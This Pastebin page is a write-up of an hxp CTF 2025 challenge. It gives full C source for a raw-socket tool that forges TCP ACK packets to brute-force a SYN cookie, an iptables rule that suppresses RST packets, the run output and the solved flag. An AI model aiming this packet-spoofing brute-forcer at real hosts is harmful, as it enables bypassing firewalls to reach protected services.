Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- hxp CTF 2025: misc - Unbefleckte Empfängnis
- hubertf, 2025-12-30
- Analysis:
- Opens TCP connection to read flag
- Firewalling for SYN flag -> first packet of 3-way handshake is bad
- Guess TCP SYN Cookie
- Use C version for speed
- Solution:
- 39c3$ cat brute.c
- /*
- * SYN-Cookie Brute Force - Immaculate TCP CTF
- * Compile: gcc -O3 -o brute brute.c -lpthread
- * Run: sudo ./brute 46.224.125.47
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <sys/socket.h>
- #include <netinet/ip.h>
- #include <netinet/tcp.h>
- #include <arpa/inet.h>
- #include <pthread.h>
- #include <signal.h>
- #include <time.h>
- #define DPORT 1996
- volatile int success = 0;
- volatile long packets_sent = 0;
- struct pseudo_header {
- u_int32_t source_address;
- u_int32_t dest_address;
- u_int8_t placeholder;
- u_int8_t protocol;
- u_int16_t tcp_length;
- };
- unsigned short checksum(void *b, int len) {
- unsigned short *buf = b;
- unsigned int sum = 0;
- unsigned short result;
- for (sum = 0; len > 1; len -= 2)
- sum += *buf++;
- if (len == 1)
- sum += *(unsigned char*)buf;
- sum = (sum >> 16) + (sum & 0xFFFF);
- sum += (sum >> 16);
- result = ~sum;
- return result;
- }
- void *receiver_thread(void *arg) {
- char *target = (char*)arg;
- int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
- if (sockfd < 0) {
- perror("receiver socket");
- return NULL;
- }
- char buffer[65536];
- struct sockaddr_in source;
- socklen_t slen = sizeof(source);
- while (!success) {
- int size = recvfrom(sockfd, buffer, sizeof(buffer), 0,
- (struct sockaddr*)&source, &slen);
- if (size < 0) continue;
- struct iphdr *iph = (struct iphdr*)buffer;
- struct tcphdr *tcph = (struct tcphdr*)(buffer + iph->ihl * 4);
- char src_ip[INET_ADDRSTRLEN];
- inet_ntop(AF_INET, &iph->saddr, src_ip, sizeof(src_ip));
- if (strcmp(src_ip, target) == 0 && ntohs(tcph->source) == DPORT) {
- printf("\n[+] Response from %s! flags=0x%02x\n",
- src_ip, tcph->th_flags);
- // Check for data
- int tcp_header_len = tcph->doff * 4;
- int ip_header_len = iph->ihl * 4;
- int data_offset = ip_header_len + tcp_header_len;
- int data_len = size - data_offset;
- if (data_len > 0) {
- printf("[FLAG] ");
- fwrite(buffer + data_offset, 1, data_len, stdout);
- printf("\n");
- success = 1;
- }
- }
- }
- close(sockfd);
- return NULL;
- }
- void *sender_thread(void *arg) {
- char *target = (char*)arg;
- int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
- if (sockfd < 0) {
- perror("sender socket");
- return NULL;
- }
- int one = 1;
- setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one));
- // Get local IP
- int temp_sock = socket(AF_INET, SOCK_DGRAM, 0);
- struct sockaddr_in temp_addr;
- temp_addr.sin_family = AF_INET;
- temp_addr.sin_port = htons(80);
- inet_pton(AF_INET, target, &temp_addr.sin_addr);
- connect(temp_sock, (struct sockaddr*)&temp_addr, sizeof(temp_addr));
- struct sockaddr_in local_addr;
- socklen_t len = sizeof(local_addr);
- getsockname(temp_sock, (struct sockaddr*)&local_addr, &len);
- close(temp_sock);
- char local_ip[INET_ADDRSTRLEN];
- inet_ntop(AF_INET, &local_addr.sin_addr, local_ip, sizeof(local_ip));
- printf("[*] Source IP: %s\n", local_ip);
- // Packet buffer
- char packet[4096];
- memset(packet, 0, sizeof(packet));
- struct iphdr *iph = (struct iphdr*)packet;
- struct tcphdr *tcph = (struct tcphdr*)(packet + sizeof(struct iphdr));
- struct pseudo_header psh;
- // IP header
- iph->ihl = 5;
- iph->version = 4;
- iph->tos = 0;
- iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
- iph->id = 0;
- iph->frag_off = 0;
- iph->ttl = 64;
- iph->protocol = IPPROTO_TCP;
- iph->check = 0;
- iph->saddr = local_addr.sin_addr.s_addr;
- inet_pton(AF_INET, target, &iph->daddr);
- // Destination
- struct sockaddr_in dest;
- dest.sin_family = AF_INET;
- inet_pton(AF_INET, target, &dest.sin_addr);
- // Pseudo header for TCP checksum
- psh.source_address = iph->saddr;
- psh.dest_address = iph->daddr;
- psh.placeholder = 0;
- psh.protocol = IPPROTO_TCP;
- psh.tcp_length = htons(sizeof(struct tcphdr));
- srand(time(NULL));
- while (!success) {
- for (int i = 0; i < 1000 && !success; i++) {
- // Random values
- tcph->source = htons(1024 + (rand() % 64000));
- tcph->dest = htons(DPORT);
- tcph->seq = htonl(rand());
- tcph->ack_seq = htonl(rand());
- tcph->doff = 5;
- tcph->fin = 0;
- tcph->syn = 0;
- tcph->rst = 0;
- tcph->psh = 0;
- tcph->ack = 1;
- tcph->urg = 0;
- tcph->window = htons(65535);
- tcph->check = 0;
- tcph->urg_ptr = 0;
- // Compute checksum
- char pseudogram[4096];
- memcpy(pseudogram, &psh, sizeof(psh));
- memcpy(pseudogram + sizeof(psh), tcph, sizeof(struct tcphdr));
- tcph->check = checksum(pseudogram, sizeof(psh) + sizeof(struct tcphdr));
- sendto(sockfd, packet, iph->tot_len, 0,
- (struct sockaddr*)&dest, sizeof(dest));
- packets_sent++;
- }
- if (packets_sent % 100000 == 0) {
- double prob = 1.0 - pow(1.0 - 17.0/(1<<24), packets_sent);
- printf("[*] Sent %ld packets - P(hit)=%.1f%%\n",
- packets_sent, prob * 100);
- }
- }
- close(sockfd);
- return NULL;
- }
- int main(int argc, char *argv[]) {
- if (argc < 2) {
- printf("Usage: %s <target_ip>\n", argv[0]);
- return 1;
- }
- char *target = argv[1];
- printf("==================================================\n");
- printf("SYN-Cookie Brute Force - Immaculate TCP Challenge\n");
- printf("==================================================\n");
- printf("[*] Target: %s:%d\n", target, DPORT);
- printf("[*] Probability per packet: ~17/2^24 ≈ 1/1M\n");
- printf("\n");
- printf("IMPORTANT: Block outgoing RST first!\n");
- printf(" sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -d %s -j DROP\n", target);
- printf("\n");
- pthread_t recv_tid, send_tid;
- pthread_create(&recv_tid, NULL, receiver_thread, target);
- sleep(1);
- pthread_create(&send_tid, NULL, sender_thread, target);
- pthread_join(send_tid, NULL);
- pthread_join(recv_tid, NULL);
- printf("\n[+] Done! Sent %ld packets total.\n", packets_sent);
- return 0;
- }
- 39c3$ gcc -O3 -o brute brute.c -lpthread -lm
- 39c3$
- Run it:
- 39c3$ # Block RST from kernel (else kernel kills connection)
- 39c3$ sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 46.224.125.47 -j DROP
- 39c3$ sudo ./brute 46.224.125.47
- ==================================================
- SYN-Cookie Brute Force - Immaculate TCP Challenge
- ==================================================
- [*] Target: 46.224.125.47:1996
- [*] Probability per packet: ~17/2^24 ≈ 1/1M
- IMPORTANT: Block outgoing RST first!
- sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 46.224.125.47 -j DROP
- [*] Source IP: 151.219.194.184
- [+] Response from 46.224.125.47! flags=0x04
- [+] Response from 46.224.125.47! flags=0x04
- …
- [+] Response from 46.224.125.47! flags=0x04
- [+] Response from 46.224.125.47! flags=0x04
- [+] Response from 46.224.125.47! flags=0x04
- [+] Response from 46.224.125.47! flags=0x04
- [+] Response from 46.224.125.47! flags=0x04
- [+] Response from 46.224.125.47! flags=0x18
- [FLAG] hxp{c0n9R4Tz__y0U_viRg1N_b1RtH3d_4_TCP_C0nn3cTi0n}
- [+] Done! Sent 2168845 packets total.
Advertisement